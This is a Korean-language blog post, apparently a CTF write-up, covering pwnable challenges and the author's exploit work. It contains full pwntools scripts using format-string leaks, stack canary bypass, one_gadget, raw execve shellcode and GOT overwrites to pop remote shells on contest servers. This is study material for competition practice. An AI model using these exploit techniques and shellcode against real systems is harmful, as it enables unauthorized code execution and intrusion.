너무 늦게 참여한 것이 참 아쉬운 CTF였다
포너블 6문제 중 4문제 풀었다
SSID

flag.txt에서 플래그를 s에 저장한 뒤 fgets로 32byte 입력받고 __printf_chk함수로 그대로 출력해주면서 fsb가 터진다

보호 기법은 모조리 걸려있고 __printf_chk 때문에 메모리 릭말곤 할 수 있는게 없다 (단순 flag leak)

단순히 flag 릭하면 된다 (문제와 관련된 링크: https://www.bleepingcomputer.com/news/security/iphone-bug-breaks-wifi-when-you-join-hotspot-with-unusual-name/)
warmup

printf에서 fsb가 터지고 gets함수에서 bof가 터진다
fsb로 canary랑 stdout를 릭해서 canary랑 libc base주소를 얻은 뒤에 oneshot 가젯을 사용해서 쉘을 땄다
from pwn import *
p = remote("chall.nitdgplug.org", 30091)
#p = process("./chall")
e = ELF("./chall")
libc = ELF("libc.so.6")
gadget = [0xe3b2e, 0xe3b31, 0xe3b34]
stdout_off = libc.symbols['_IO_2_1_stdout_']
leak = b"%9$lx A%23$lx"
p.recvuntil(b"Canary ?\n")
p.sendline(leak)
stdout = int(p.recv(12), 16)
libc_base = stdout - stdout_off
oneshot = libc_base + gadget[1]
log.info("stdout: " + hex(stdout))
log.info("libc_base: " + hex(libc_base))
log.info("one_gadget: " + hex(oneshot))
p.recvuntil(b"A")
cnry = int(p.recv(16), 16)
log.info("cnry: " + hex(cnry))
payload = b"A" * 0x48
payload += p64(cnry)
payload += b"A" * 8
payload += p64(oneshot)
sleep(0.1)
p.sendline(payload)
p.sendline(b"cat flag.txt")
p.interactive()

Hunter

NX bit도 없고 단순 쉘코딩 문제이다 따로 바이트 필터링도 존재하지 않지만 20byte씩 2번 쉘코드를 입력할 수 있는데
이 두 데이터 사이에 0x10만큼 간격이 있어서 이를 감안해서 쉘코드를 작성해야 했다
jmp 쓰기 귀찮아서 처음 실행되는 20바이트 쉘코드에서 read syscall로 원하는만큼의 쉘코드를 입력할 수 있도록하여 풀었다
from pwn import *
p = remote("chall.nitdgplug.org", 30090)
#p = process("./Hunters")
#gdb.attach(p)
shell1 = b"\x48\x31\xff\x48\x31\xd2\xb2\xff\x48\x8d\x35\x00\x00\x00\x00\x0f\x05"
shell1 += b"A" * (20 - len(shell1))
p.recvuntil(b"hunter? : ")
p.sendline(shell1)
shell2 = b"A"
p.recvuntil(b"possession? : ")
p.sendline(shell2)
ex_shell = b"\x0f\x05\xb0\x3b\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x00\x51\x48\x89\xe7\x48\x31\xd2\x48\x31\xd2\x48\x31\xf6\x0f\x05"
sleep(1)
p.send(ex_shell)
p.interactive()

one punch


main함수에서 vuln함수를 호출하고 vuln함수에서는 bof와 fsb가 터진다
canary_chk_fail함수의 got를 vuln함수로 덮어쓴 뒤 카나리를 덮어서 카라니만 터뜨리면 연속적으로 vuln함수가 실행되도록 한뒤 그 뒤론 단순히 __libc_start_main+243주소를 릭하고 system함수주소를 구한 뒤에 printf got주소에 덮어 /bin/sh문자열만 입력하면 쉘이 실행되도록 했다 (libc_database에 없고 릭했을때도 로컬 환경과 같은 것 같아서 로컬 라이브러리 써서 했는데 리모트에서도 그대로 되더라..
from pwn import *
from H4PuM import *
p = remote("chall.nitdgplug.org", 30095)
#p = process("./chall")
e = ELF("./chall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#gdb.attach(p)
printf_got = e.got['printf']
cnry_chk = e.got['__stack_chk_fail']
sys_off = libc.symbols['system']
libc_start_off = libc.symbols['__libc_start_main']
leak_pay = b'%19$p%4621c%12$hn%60965c%13$hn%65472c%14$hnAAAAA'
leak_pay += p64(cnry_chk)
leak_pay += p64(cnry_chk+2)
leak_pay += p64(cnry_chk+4)
leak_pay += b"A" * 0x10
p.recvuntil(b"|\n")
p.sendline(leak_pay)
p.recvuntil(b"0x")
libc_start = int(p.recv(12), 16) - 243
libc_base = libc_start - libc_start_off
system = sys_off + libc_base
log.info("libc_base: " + hex(libc_base))
payload = fsb.fsb64(6, system)
payload += p64(printf_got)
payload += p64(printf_got +2)
payload += p64(printf_got+4)
payload += b"A" * 0x10
sleep(0.1)
p.sendline(payload)
sleep(0.1)
p.sendline(b"/bin/sh\x00")
sleep(0.1)
p.sendline(b"cat flag.txt")
p.interactive()
'CTF' 카테고리의 다른 글
1337UP LIVE CTF 2022 후기 (0) | 2022.03.13 |
---|---|
UMDCTF 2022 후기 (0) | 2022.03.08 |
test (0) | 2021.08.29 |
PWN / fake_canary (0) | 2021.07.31 |
pwn/ madlibs (0) | 2021.07.19 |